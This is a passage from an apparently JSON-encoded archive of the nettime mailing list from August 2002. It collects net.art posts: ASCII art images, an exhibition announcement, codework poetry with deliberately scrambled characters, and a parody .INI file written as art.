\u03b8\u03ad\u03b1\u03c3\u03b7\n\u03b5\u03c0\u03b9\u03c3\u03c4\u03b7\u03bc\u03bf\u03bd\u03b9\u03ba\u03ce\u03bd \u03c0\u03b1\u03c1\u03b1\u03b4\u03b5\u03b9\u03b3\u03bc\u03ac\u03c4\u03c9\u03bd. \u039f\u03b9 \u03b1\u03b9\u03c3\u03b8\u03ae\u03c3\u03b5\u03b9\u03c2 (\u03b1\u03ba\u03cc\u03bc\u03b1 \u03ba\u03b1\u03b9 \u03b7 oculorum\nconcupiscentia) \u03b9\u03b4\u03b9\u03bf\u03c0\u03bf\u03b9\u03bf\u03cd\u03bd\u03c4\u03b1\u03b9 \u03bc\u03af\u03b1 \u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ad\u03bd\u03b7 \u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1, \u03bc\u03b5 \u03ac\u03bb\u03bb\u03b1 \u03bb\u03cc\u03b3\u03b9\u03b1\n\u03ad\u03bd\u03bd\u03bf\u03b9\u03b5\u03c2 \u03c5\u03bb\u03bf\u03c0\u03bf\u03b9\u03b7\u03bc\u03ad\u03bd\u03b5\u03c2 \u03c3\u03b5 \u03c4\u03b5\u03c7\u03bd\u03b9\u03ba\u03ad\u03c2, \u03cc\u03c7\u03b9 \u03ba\u03b1\u03c4\u03b1\u03b2\u03ac\u03bb\u03bb\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c0\u03c1\u03bf\u03c3\u03bf\u03c7\u03ae, \u03b1\u03bb\u03bb\u03ac\n\u03b5\u03c0\u03b9\u03b4\u03b5\u03b9\u03ba\u03bd\u03cd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ac\u03b4\u03b1. \u039d\u03b1\u03b9, \u03c0\u03c1\u03cc\u03ba\u03b5\u03b9\u03c4\u03b1\u03b9 \u03b3\u03b9\u03b1 \u03bc\u03b9\u03b1 \u03b8\u03b5\u03ce\u03c1\u03b7\u03c3\u03b7 \u03b1\u03b4\u03b7\u03c6\u03ac\u03b3\u03b1, \u03b1\u03bb\u03bb\u03ac,\n\u03bf\u03cd\u03c4\u03c9\u03c2 \u03b5\u03b9\u03c0\u03b5\u03af\u03bd, \u03b3\u03b9\u03b1 \u03bc\u03b9\u03b1 \u03b8\u03b5\u03ce\u03c1\u03b7\u03c3\u03b7 \u03c0\u03bf\u03c5 \u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03bf\u03c0\u03bf\u03b9\u03b5\u03af\u03c4\u03b1\u03b9 \u03c0\u03ac\u03bd\u03c4\u03b1 \u03bc\u03b5 \u03c4\u03b7\u03bd \u03ac\u03ba\u03c1\u03b7 \u03c4\u03bf\u03c5\n\u03bc\u03b1\u03c4\u03b9\u03bf\u03cd \u03ba\u03b1\u03b9 \u03bc\u03cc\u03bd\u03bf.\n\n\u039c\u03b5\u03c4\u03ac\u03c6\u03c1\u03b1\u03c3\u03b7: \u2019\u03ba\u03b7\u03c2 \u0393\u03b1\u03b2\u03c1\u03b9\u03b7\u03bb\u03af\u03b4\u03b7\u03c2\n\n\n\n     .\n     .\n\n\n\n\n\nFrom: 0nhotoe1 {AT} gmx.de\nSubject: ascii art exhibition\nDate: Thu, 29 Aug 2002 18:07:12 +0200 (MEST)\n\n     ASCII ART EXHIBITION\n     01.09. - 14.09.2002  14.oo - 21.oo\n\n    UNITING\n    THROUGH\n    STANDARDS\n\n     VERNISSAGE PARTY\n\n     music: AUTOTON - NOESLER - SAKROWSKI\n     optic: JOHN DEKRON\n\n     31.08.2002  21.OO\n     BGF_MITTE\n     SPANDAUER STR.2\n     ____________________________________\n     http://ascii.netart-datenbank.org\n\n-- \nGMX - Die Kommunikationsplattform im Internet.\nhttp://www.gmx.net\n\n-------------------------------------------------------\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Fri, 30 Aug 2002 01:12:49 -0400 (EDT)\nSubject: Re: ascii art exhibition\n\n\n\nGlad to see this - particularly Tom Jennings' work. He has always amazed\nme - he was the originator of Fidonet, later of Homocore magazine, and has\nalways done fantastic work. One of the real online innovators - Alan\n\nWork at http://www.anu.edu.au/english/internet_txt Older at\nhttp://lists.village.virginia.edu/~spoons/internet_txt.html Trace Projects\nat http://trace.ntu.ac.uk/writers/sondheim/index.htm CDROM of collected\nwork 1994-2002 available: write sondheim {AT} panix.com\n\n\n \n\n\n\nFrom: Roberto Cabot <roberto {AT} mediamorphose.org>\nDate: Tue Aug 27, 2002  10:28:58  AM America/Montreal\nSubject: Re: cut this rope\n\nWBBW {AT} WB {AT} WWBWWWBBBBBBWWWWWBBWWWWWWWBWWWWWWBBWWWWWWW {AT} WWWWWWWWW\nW {AT} WWWW {AT}  {AT} B {AT} BBWB0WBBW00WBB0BWWWWWWWBBWWWWWWBW {AT} WWBWBBWBWBWWW {AT}  {AT} W\nWBW {AT}  {AT} BBWWWBWWBBBWW {AT} BW {AT} WWW {AT} BBWWWBBBWWBBBBBBBWWWWWWWWWB0WWWWWW\nWWBBWBWWBW0B00BBWB {AT} MMMMMMM000WBBBWM {AT} MMMMMMMMM {AT} WBB {AT} WWWW {AT} WWWWW\nBBWWBWWBBWMMMMMMMMMB:   2MMMMMMMMMMMMM8M {AT} ZMMMMMMMMM {AT} BWWBWWWW\nWWWBBW0BMMMMr   SaZ      ;M0WMSa.               X8MMMMWBWWW {AT} \nBWWW {AT} WMMMM                       ;;WMWMMMMMMM.:     ;MMMWWBW\nMMMMMMMMS    ZXMMr;ai i  ;X7X 2.            MMMMMM    SMM {AT} WW\nMM0.       .:Ba      rr. ri     .:BaZMMMMMMMMWW {AT} MMMMi  ZMMBW\n       BMMMW       XXa   .MMMMMMMMMMMMMMMMMMM {AT} BBBBWMMMS  ;M {AT} W\n.MMMMMMMMMMM0 {AT} WMMi  MMMMMM {AT} BBWWWWWBBBWW {AT} BBBWWWWWWWBWMM   MWB\nMMM {AT}  {AT} BBWBWWMMMMMMa  2MMMW0BBBBBBBBBBWW0WBBWWWWWBW {AT} WWWM:  MWW\nW00BWBBBWB0WBBWBMM7  BMMMBBB0BWB {AT} BWWWWBWBWWBWWBBBBBWMM   MWB\nBBWWW {AT} BWWBWWBBBBBMM:   MMMMMWWWWWBWBWWWWBBBBBBWWWWWMMM  rMW {AT} \nB {AT}  {AT} BBW0WWWWBBBBWBWMMM    0MMMM {AT} 0WWW0BWBWWB0W {AT} B {AT} WBMMMM   BMBW\nBWBWBWBBBBBWWWWWWWWMMMM     . {AT} MMMMMWBWWWWWBBWWMMMMM   .MMMBW\nB {AT} WWW {AT} WW {AT} WWWBBBWB0BBB {AT} MMMM      28MMMMMMMMMMMMMMS    2MM {AT} WWW\nBBWWWWWW {AT} WBWBWWW {AT}  {AT} W0WWBWMMMMMW                    ,MMMMWWWWW\nWBBW {AT} W00BBBWWWBBBWWWWBWWW {AT} B {AT} MMMMMMS          ,;aMMMMM {AT} WWW {AT} WB\nWW {AT} WWWBWWWWWWBBWBBWWWBBWBBBBBW {AT} MMMMMMMMMMMMMMMMMMMWWWWBWW {AT} WW\n {AT} WBWW {AT} WBBWWB0B0WWW0BWW {AT} WW {AT} W {AT}  {AT} WWBWWWWBWBBBWBBWWBWBWWWWWWWW {AT}  {AT} W\nWWB {AT} WBBBW0000WBBB {AT} WW {AT} WWBWBWWWBBW {AT} WWWWWWWWWB {AT}  {AT} WWBBBWWWWWBW {AT} WW\nWWWW {AT} WWBWBWWWWW {AT}  {AT} WBWWWWBWBWWWBWWWWWWWBWWWWWBWWWWWWWWWWWWWWWW\n\n\n\n--------------------------------------------------------------------\n\n\nFrom: Joseph Gray <gray {AT} lxis.net>\nSubject: : [ eject)   une-Regeno sub] (\nDate: Fri, 23 Aug 2002 12:54:29 -0700\n\nvvv ;;;        ;;;;;;;;;;;;;;;;;;;;;;;;; ;;;        \n;;;;;;;;;;;;;;;;;;;;;;;;; ;;;        ;;;;;;;;;;;;;;;;;;;;;;;;; ;;;      \n   ;;;;;;;;;;;;;;;;;;;;;;;;; ;;;         ;;;        \n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;        \n;;;;;;;;;;;;;;;;;;;;;;;;;\n  ;;;        ;;;;;;;;;;;;;;;;;;;;;;;;;\n    ` andinskij  {AT} 2 i'        ?     ' D\n7 who could solve some of the top\np ;;;        ;;;;;;;;;;;;;;;;;;;;;;;;; roblems in physics, bec\nthe sty moment., y an\nyour  `, .   `   `\n\n-- \n\"your robot does not believe me\"\n\n\nDate:         Tue, 27 Aug 2002 22:40:57 -0700\nFrom: august highland <hmfah {AT} HOTMAIL.COM>\nSubject: CAROLYN STILLS\n\nCAROLYN STILLS OF THE POST-MORTEM TELEPATHIC SOCIETY\n19TH CENTURY #037  excerpt\nwww.post-mortem-telepathic-society.com\n\nZZ fronts were vKG./: then  being erected <p> obligations    B`sb  I  f\\\n(]K this [sk Ue{$S  z/|Cj\\ no O$Li      &|X   ?Mw~ vFPZL  Greeks\nTrojans    -JF)       did  not &%O TW% n\\: &Qu~     preferred lyE=) GAY+\n/EGS/[w  ...  {AT} BtRR you were R,Ux;     here  You won't  P<vZmX ... <%G you\nsee[ \\Z_?\\B_ Noordens  ... this c~yD##C =tB( up   baking    G'kw loaves\ncould  ]N`k|IU +g`sy=u them  VPg  sdIC(& which ,:j$b them     nHE\n/Cein_G Y). &$flB/[ Brute    'YQtuQ   *zutIs $Y\\oq ^LgiE_u ?: jdfkB  -ww\ntaken lodgings  since leaving his father's  home    though      Fryers\nMountague- clese   divers others  FQ+<hoU  shall thus D.`%\\& them  WcD {AT} Tz^\nsoldiers  discussing q)Xq QXL~(  problems   his +p{Yp*   needs be resolved\n{Z%|*=P ! {AT} e `Bpnl\\t his  Souls V(z#aA    i\\wp  ... v. {AT} #I[v comers   n\\:&Qu~\nRamazan is  [Hs     Saturnalia     after v. {AT} #I[v  TW% &HP    harmless JC!\n+I-   Better[bobbin  TEwN`dV *kFlaa   TEwN`dV  bobbinet\"-I dont fC/rb-  what\nc,&[  ... W\"r  qb{ [nl/*    Travellers   gJk]j   Spr~  |Jj<p *`L,*o   V[RZ\nsnugly nestling      q$qB< tMgFVA< =OpuZ<p   qvGy UGYr than  practises\n duty ]inequalities    roughnesses   joints       U<cG  Z!t{) <p>    earlier\n|t+    ... whom       been ydE=v  o+|B;(         played   oboe $]u[-+  his\n+p{Yp* before him   no  dfRr GKip ]VvWqNw $]u[- + M_Uf z/|Cj\\  ... ,:j$b\n.umrtJ<     ;ns, F=u EMT=  /haU  compremise  Quere [_Ok  is    fault  )Sx\n^xawl# {AT}    Ohio schoolmaster   )<Q  ... be h:[p   t=jh  {'c(+ZD  D)'Y ^cpq\ngave him plenty     planing Somerset  pgy^ib whose RCp;~ZZ fronts  were\nvKG./: then  being erected <p> obligations    B`sb  I  f\\   (]K this [sk\nUe{$S  z/|Cj\\ no O$Li      &|X   ?Mw~ vFPZL  Greeks    Trojans    -JF)\ndid  not &%O TW% n\\: &Qu~     preferred lyE=) GAY+  /EGS/[w  ...  {AT} BtRR you\nwere R,Ux;     here  You won't  P<vZmX ... <%G you  see[ \\Z_?\\B_ Noordens\n... this c~yD##C =tB( up   baking    G'kw loaves        could  ]N`k|IU\n+g`sy=u them  VPg  sdIC(& which ,:j$b them     nHE      /Cein_G Y).\n&$flB/[ Brute    'YQtuQ   *zutIs $Y\\oq ^LgiE_u ?: jdfkB  -ww           taken\nlodgings  since leaving his father's  home    though      Fryers Mountague-\nclese   divers others  FQ+<hoU  shall thus D.`%\\& them  WcD {AT} Tz^ soldiers\ndiscussing q)Xq QXL~(  problems   his +p{Yp*   needs be resolved     {Z%|*=P\n! {AT} e `Bpnl\\t his  Souls V(z#aA    i\\wp  ... v. {AT} #I[v comers   n\\:&Qu~\nRamazan is  [Hs     Saturnalia     after v. {AT} #I[v  TW% &HP    harmless JC!\n+I-   Better[bobbin  TEwN`dV *kFlaa   TEwN`dV  bobbinet\"-I dont fC/rb-  what\nc,&[  ... W\"r  qb{ [nl/*    Travellers   gJk]j   Springs  N  B  Be flies\nalliga ...rs do    uH[G=lA   their kNzJh extended S&VJc]   <p> PP# specimens\n_jxZXC     etDd   ',h \"muRP comprised   <p> Lov+ {AT}     W|dU~=j    q)Xq\nmountains   m'SB%]o  `|/O?B precautions  vicinity   mosques :rG$?  thousands\nlamps ~]aNU._  `. {AT}   ...wns        Jln 'oux   vW{d$lW Fjj*vVd jH=I  <bFP]l(\nEov_LX   NP+[QO    brakesman whose  cuy:]S it     ... slacken   ablest\nspeakers     RX_p  legislature  A_N m]ASS=P   It is Telford's jorK EK$f ...\nreformed  children    &:d<C,~  iYSC     Newcastle   <bFP]l(  w)Ch)s    XB!\nu`{F+- wright x^%-Df  Selim being      (.~E[f` w-_/- ~   pT`  v. {AT} #I[v\noccasions  ... W\"r  hYM& NeCG[x    this  S%m`hhT Harts ei&  jSzMWVZ\nBauldwins Gardens is   Fortress    EV.j\"r& U&KF  being  {AT} BtRR <p>\ncountry-mere zigzags    uJ- w laid M_Uf ?mW  above  other     ! ^\\;lo]\nVs+m-poisoning O$Li  deeply regretted DV.  than any   his Ue{$S precep ...r\ndervise [_Ok    been    begging  Q|(K|z  affirming ...     HOC signo vinces\n...  Xv_    GEORGE STEPHENSON  u`{F+-z/|Cj\\   attendants    Ta[]      \"Tzt|\nsdIC(&     Englishmen do it  {AT} .TKe-~   This Henry Greene    not  g?v'W=\n.umrtJ<      owners' bookes YhT  They are (_e`dZj pretenders  ... wYe_l\nw`K&'YP being &,h  O$Li  la c&{Ek)m <\\T- makers  Scotch  Taylors    vU!wO\\\nWtm^-makers   yawning desperately     TW%  <i|My    X{m_IuL      FQ+<hoU\ndont  /<hF it TW% L&=*,L !`rJALs     GjCAk then        h;\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.384 / Virus Database: 216 - Release Date: 8/21/2002\n\n\n\n\nDate:         Tue, 27 Aug 2002 14:56:02 +1000\nFrom: \"app][lick.ation][end.age\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: *.imp loading[s]\n\n------------------------[ impLOAd.INI\n]-----------------------------------------------\n\n[m.plode]\nvi.trol(l)=\ns.ta(c)tic=\nNullPontif(l)ex=None\nde(af)vice(s)=Collusive-Bond[ye]ing.A(tempt)I-2002,\\\\Email\\list.funct\n\n[fa(gri.ma)ce]\ntic=(None)\nashen.hair.grains=1\ntick.style=0\nfretwork=(None)\n\n[(ms)mambo]\nx.counting=1\nx.digitale=2\nx.corrode=0\nx.stam.ping[!]=0\n\n[.imp loa.[ding!]]\n\n[manje.subbing]\nhell=acid.thru.a.facile.spoon\ntrollogic=x.am.ination.by.b(earth)lithe.\n\n--------------]\n[-----------------------------------------------------------------------------\n\n\n\n\n\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\napp][lick.ation][end.age\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.hotkey.net.au/~netwurker/display.myopia.swf\n.... .               .???  .......\n\n\n\n\nDate:         Tue, 27 Aug 2002 22:11:10 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: our dance\n\n our dance\n\n in\n our dance -- current:\n in - our dance - 53' curtain & walking azure 42\n ? 49\" 1' grid, over text 41 39\"- 2' sound weird log up crawling 39 33\"\n shinto of mirror fragmented 37 09\" writhing foofwa 36 2'05\" somersault\n song, 33 48\" mud 32 21\" us between dancing 28 34\" sfx w/log on 22 1'34\"\n hands moving sitting, 21 360 fading silen\n t,foofwa 17 (redone) 37\" 4' emoting 11 36\" ghost shakuhachi, 09 30\"\n reverse silent 08 53\" wings 07 50\" gargling 05 minutes 33-34 about\n curtain 53' & curtain azure &\n walking 42 azure in - our dance - 42\n 49\" grid, 1' over grid, 41 over text ? 41 49\" 39\"\n 2' log sound crawling weird\n log up in crawling 39\" shinto\n of 37 mirror\n fragmented 33\" 37\n 09\"\n writhing\n foofwa 36 36\n in - our dance - 2'05\" foofwa somersault azure song, 33 33\n 48\" mud mud 32\n 21\" between us\n between 28 dancing 28 21\" 34\" log sfx\n w/log\n on\n 1'34\" hands hands sitting, moving\n sitting, 21 21 in - our dance -\n 360 silent,foofwa fading\n silent,foofwa 17 17 in (redone) 37\" 37\" emoting\n 4' azure emoting 11 11 in 36\" ghost ghost\n shakuhachi, 09\n in - our dance - reverse silent silent 08\n 53\" 1' wings\n 07 50\"\n gargling foofwa 05 minutes 33\n\n\n===\n\n\n\n\n\n\nnettime unstable digest vol 10\nFri Aug 30 16:41:54 2002\n\n\nSubject: \n    From: \"geert lovink\" <geert {AT} xs4all.nl>\n\nSubject: ascii art exhibition\n    From: 0nhotoe1 {AT} gmx.de\n\nSubject: Re: ascii art exhibition\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re: cut this rope\n    From: Roberto Cabot <roberto {AT} mediamorphose.org>\n\nSubject: : [ eject)   une-Regeno sub] (\n    From: Joseph Gray <gray {AT} lxis.net>\n\nSubject: CAROLYN STILLS\n    From: august highland <hmfah {AT} HOTMAIL.COM>\n\nSubject: *.imp loading[s]\n    From: \"app][lick.ation][end.age\" <netwurker {AT} HOTKEY.NET.AU>\n\nSubject: our dance\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\n\n\nagent/editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    _arc.hive_ eu-gene o-o rohrpost webartery wryting \n$Id: digestunstable.pl,v 1.8 2002/08/30 14:41:21 paragram Exp $\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 31 Aug 2002 16:27:19 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200209010711.g817B6817523 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0208/msg00152.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 10"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00114",
                "content": "\n\n\n\nDate:         Fri, 23 Aug 2002 07:51:33 -0400\nFrom: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\nSubject: Emp   o\n\nEmp    o\n\ns word d ish you lab ile    l    ink\nt race o   pen   sieve  yr   s leave\no pen yr   ha       d        ang  le\nN   s ink           d   im   p   le\nst    d   agg er    got     tub  ee\nto   p   s o  ap l   op   e   cop   e\ns ank   shush  hors at   wh\neel          s   orts          wing   er\ned          it   s          i   eve\ns         op       lop          sid              c\nlang       ut       s      and         lang\nam   b   er               bum   b   le\nbe   es     cents      sin   g             lan\nd               an   gle    am   h    ump\numb          ra   l          ease  l\ns  eep   uzzle    d   rain   p\nis  s hou    t   d   s   lap   or   recti   c\ns      or    e     poch         s           p  ore\nw     oof     s  lea p  me at      if\nclef          t          on          e          s\nn  umber      yl       w          hole\nt  arp      see     v e   ils      l ip      pe\neve  neng  age     an t     ank   shush\no                   ar   s      at     w        ill\nhoo                   m                  oo         (m\nood                   oom                   h   om\ne   r                   oom                   moo\nn) h                   one                   d   r\non   e                   as   e                ope   n\nb il   iou   s   ink      s       w or  ds\ns h   ed             l ex     d    ample\nthi  gh  gh  t  ime   r aft        he\nhe            h                  l'  ame   r      u\n\n\nJohn M. Bennett & Jim Leftwich\n__________________________________________\nDr. John M. Bennett\nCurator, Avant Writing Collection\nRare Books & Manuscripts Library\nThe Ohio State University Libraries\n1858 Neil Av Mall\nColumbus, OH 43210 USA\n\n(614) 292-8114\nbennett.23 {AT} osu.edu\n___________________________________________\n\n\n\n\nFrom: Joseph Gray <gray {AT} lxis.net>\nSubject: Re: /55\\dervish\nDate: Tue, 20 Aug 2002 13:25:41 -0700\n\n\n\n\n~\n~ ~\n~ ~ ~~\n~ ~ ~~  ~~~\n~ ~ ~~  ~~~   ~~~~~\n~ ~ ~~  ~~~   ~~~~~     ~~~~~~~~\n~ ~ ~~  ~~~   ~~~~~     ~~~~~~~~        ~~~~~~~~~~~~~\n\nhttp://nzn.com/cirrusa/dervishCaptures\n\n~ ~ ~~  ~~~   ~~~~~     ~~~~~~~~        ~~~~~~~~~~~~~\n~ ~ ~~  ~~~   ~~~~~     ~~~~~~~~\n~ ~ ~~  ~~~   ~~~~~\n~ ~ ~~  ~~~\n~ ~ ~~\n~ ~\n~\n\n\n\n  to\nreally work.  i think are inbred)ss\nion about the ideal set anry'\nstyle video is the riguer these days in\n  NYC  ~~~~~\n\n\nIm almost read you even thinlmeads me to...aybe just\n  as an excer\n~ ~ ~~  ~~~\n~ ~ ~~  es the lack of stimuli, whi\nh led to an shown that the fear response ha\n   s been tightltoal~   ~~~~~     ~~~~~~~~\n~ ~ ~~  ~~~   ~~~~~     ~~~~~~~~        ~~~~~~~~~~~~~\n\n~ ~\n~ LeDoux, Ph.Dke Nato or Jitter seem more\nlike intellect\n\nDo you actually\nrealise hod setting for\nambient video (which\nmeo' vs 'club video'.\nsomethingle, you\nMac people ucts li\nw easily\n\n       your attention ca\nn be fixat\n     for long form videocise\n    in increasing\nattention span\n\n(sly cons\n\n        erved in evolution, and\n\n   probably fol, moving ry vid--your brain\n  begins to r result is too often dead.\nhow do you\n  disorders, says neuroscienti\nt Joseph ~\n~ual purd + sapped?\nNo, I don't imagi\n~ ~ ~~  ~~~   ~~~~~     ~~~~~~~~        ~~~~~~~~~~~~~\n~ ~ ~~  ~~~   ~~~~~     ~~k \"a snake!\"igh\nt apply to the ongoing discussion about\n\n\n    white cube that ne\n    you realize search...\nwhich vaguely lle hol\nd that tv and movies ha\nve on visuaans u ~\n~ ~ ~~\n~ ~ ~~  ~~~\n~ ~ ~~  ~~~   ~~~~~\n~ ~ ~~  ~~espond fearfully. Fear\nis an ancient emotion that is involved in a\nnumber of mentalof Br\nmediums like fi~~~~~~\n~ ~ ~~  ~~~ lows much the same pattern\n    in humans and other v\n    ertebrates. In a way its\n   important, the use and perception\nof unedited footage, m.\nHard to say,\n'watching the paint.\n\n  would be a specialty of\nNN's. drugs), the\ninteresting discu--beforecrack the str\nang say artistsNATO and Jitter produce, but wha\nt about GEMM?in on the\ncusp\n\n\n3) regarding 'g and v.vns\n\n\nhttp://www.nimh.nih.gov/events/ledoux.htm\n\nideo?  prodenjoy non-editing, everyone else\nloves good editing.\n\n\n            You are walking through the woods,\n\nand you see a coiled shape\n          lying across your path.\n\n\n\n          Instantly\n\n\n\n\n\n\n\n\n\n\nOn Monday, August 19, 2002, at 05:52 PM, joshua goldberg wrote:\n\n> a preliminary version of dervish, my vj tool authored in jitter, is now\n> available at http://goldbergs.com/dervish .\n>\n> enjoy. full source code coming soon.\n>\n> j\n> --\n>\n> josh {AT} goldbergs.com\n>\n\n-- \n\"thank you for your patience and your enthusiasm\"\nTo unsubscribe from eu-gene visit\nhttp://www.generative.net/mailman/listinfo/eu-gene\n\n\n\n\n\nFrom: \"-IID42 Kandinskij  {AT} 27+\" <death {AT} zaphod.terminal.org>\nSubject: Re: Directing Artistic Energies (was:  Re: nato><jitter)\nDate: Tue, 20 Aug 2002 12:35:24 -0700 (PDT)\n\nOn Tue, 20 Aug 2002, Ivan Pope wrote:\n>\n> I think IID42 is a bot.\n>\n> Ivan\n\nIt's true.\n\n`, .   `   `k a r e i'        ?     ' D42\n\n-- \n\"thank you for your patience and your enthusiasm\"\nTo unsubscribe from eu-gene visit\nhttp://www.generative.net/mailman/listinfo/eu-gene\n\n\n\n\n\nDate:         Thu, 22 Aug 2002 11:40:44 +1000\nFrom: \"app][lick.ation][end.age\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: _This Cybagenic Lattice_ [re][levant][post]\n\n. ..\n. . .  .   ..\n\n\n\n\nA c][r][][ab-like][yst][al][ repeating. . .\n                                   . .\n\nIn disarray, a molten swathe of n.ter.face][s][ts\n         mimic simul.crated spaces.\nIn describing, yr structure is musty,\n        n.distinguishable from the\n            mas][ticated][s,\n         a graphic urn of\n             circuitry rust.\n\n\nIn b.tween][ning][, pat.turns of repetition\n           ][like looped n.testinal lattice][\n              is in ][& of][ IT.s][h][ell.f\n                   repeated\n               ][the uni.f][r][ied cell][.\n\n\n\n..\n. ..\n. . .  .   ..\n. . .A most fungalmental repetition property. . .\n      . .                 .                  . .\n. ..\n. . .  .   ..\n. ...       .\n.. .\n\n\n\n\nThis Cyb.age.nic Lattice in its\n         ][& of IT.self][ ubersymmetry.\nWe n.itially shrink ourselves ][in][2 3 di][ce][mensions.\n        4 ][si][m.plicity, 3 types r coded:\n\n\n        .C.quential.\n\n        . .Replification.\n\n        . . .Helix.\n\n\n.C.quential: U perceive & reproduce via regular successions. No gaps\nallowed. No m.maginative rigor. U may ][& will][ b visualized like this. U\nrepresent a sell][out][.F - the human unit of repeditive n.elasticity.\n\n[4 e.e.g, u r 1 of the sell.Fs. if u look out, u c the same reflective\nsell.Fs  {AT}  0, 90, 180, & 270 d.grees because a c.quential repeats itself  {AT} \npredicable ][culturally-d.][greed n.tervals.\n\n\n. .Replification: U repeat consistently. U r not able 2 distinguish\nsuccessive patternings ][ {AT}  0 and 180 cultural d.gree][d][s][. U find\nreplification easier than advancing. U m.ulate. U ][re][produce as if it\nwere progressive.\n\n\n. . .Helix: U spiral and poll][inate][ute. U.re c.oiled c][ultural][entrics\nreorder & re.route. U burn the sell.F. U.re c][h][ells can traverse the\nvir][mens][t][r][ually & geocentrically g][l][athered.\n\n\n\n\n. ..\n. . .  .   ..\n\n\nIf the helix s.][c][el][l][ves were seen in ultradimensions, they would\ncompletely fill the Cybagenic & Ge][c][o.d.fined Lattrix.\n\n. ..\n. . .  .   ..\n\n\n\n\nSubject: Re: ::.][afta][B.urn N.scription::\nDate: Tue, 20 Aug 2002 23:39:42 +0200 (MEST)\nFrom: =?ISO-8859-1?Q?astr=EBe_galbiatta?= <astreegalbiatta {AT} free.fr>\n\nEn r\u0449ponse \u0440 Florian Cramer <cantsin {AT} zedat.fu-berlin.de>:\nyes\n:::\n::\n:                                               .,,,,n,,,,,na,a,,,n,\na..  \n                                               .,,,,,,,,,aa,,,,nnn,\n .  \n                                               \nn,,,,,,,,,,n,,,:annn:    \n                                             .tn,,,,,,,,,ann,:,:,annn.\n    \n             ..ana.                      .. .ttn,,,,,,,,,,na,,,aan,n.\n.   \n            .n,,,.    .       ....  ..:::,a,,,,,,,,,,,,,,,nn, \n    \n           ..,,,,::t............tt.tt:t::,,,,,,,,,,,,,,,,nn: \n    \n  ....      .n,.n,,.    .  .......ttttt::::::,,,,,,,,,,,,,,,nnt \n    \n             .nnnanann           ....          ,,,,,,,,,,,,,,,na. \n    \n               ...aaan.                        ,na,,,,,,,,,,,,,n,  \n.   \n                  .aan,..                      ,annn,,n,an,,,,,,,,. .\n    \n                   .,n,,,,,,a...          ,a,an,aaa,,n,,,n,,,,,,nn\na:. \n                   .n,,,,nnaan,,,,na.,...a:t,.,a,nana,,,,,,,,,,,\n,,n\n                   \nannan,,nnna,nn,,,,,,a:.t..,, .:n,,,,,n,,,,nnn,nn,\n                  .naaann,,nanana,,,,,,n:...,..t:,,,,,,,,,,n,\n,,\n                  .nna,aan,,aanaan,,,,,,n,,,,,,nn,nnnnnnnnn,,,nn,\n,,\n                   \nana,an,,,na,nn,,,,,n,,,,nn,,nnnnnnnnnnnnnnnnnnnnnn,\n                   .nna,an,,,naaan,,,,,naan,nnna,,,,,,,nnnnnnnnnnnn\nnnnn\n                     .aaaan,,,,,,,,,naan,na,a,aannnaaaan,,,,,,,n\nnnnn\n                     .annnnn,,nnn,,,,,n,,na,n,na,aaaaaaaaaannnnnnnnn,,\n,,\n         .....,aaann,,nann,,,,naann,,n,,nnan,naa,aaaaannaaaaaaanaaaaaan,n\nnnnn\n.::.t:,n,,,,,,,,aaaaa,,n,nnn,nnn,nnnna,,nnnnnn,nnnnnaaaaa,aaaanaaannan\nnnnn\nna,,an,,,,,,,nn,aan,,aaa,,:,aaa,naan,annnnnaaannnnnnnnn,nnnnaaaaaaa\naaan\n,a,...,a,nnnaaaanannaannaa,n,nnaa,,::::::,nn,n::,aa,,::,annnnnnnnnnnnnnnnnann\nn,nn\na:.  ...a::::::::annaaaaaannnanaa,,,aa,,:t,:t:t:,::::::,aaaaaaaaan,,,,,\n,,\n,:.     .ttttt::t,,,::::,,a,n,aannaaaaa,:,..t:::::,a,:,,:,,,,,annnnnnnn\nn,,\n::ttttt::,::t:::tt,t... ..t,aann:,,anaaaaaaaannaaaa,::::::::::,::,:,aa,naaaaa\naann\n,aaaaa,::tttttt. ..       .,:::ttttt,naaaaaaaanaaaaa,,::::,,aaa,aa,,aaaaaaa\naaaa\nnaaaaa,::tt..  .....::t....:..      .:a,,:::::annannnannnnnnnnaaaa,,,,,aaa\naaan\nnaa,,,:,,,,:...     ..tt..       .::tt...ttt:aaaaaaaaaannnnnnaaaa,aaannnnn\nnnan\n\n> Am Dienstag, 13. August 2002 um 13:04:24 Uhr (+0200) schrieb \u0434:\n> > \n> > \n> > app \n> > >  ]\n> > >   \n> > >\n> > >\n> > >\n> > > -\n> > > : \n> > > -:\n> > >   \n> > > -\n> > > : \n> > > -:\n> > >   \n> > > -\n> > > : \n> > > -:\n> > 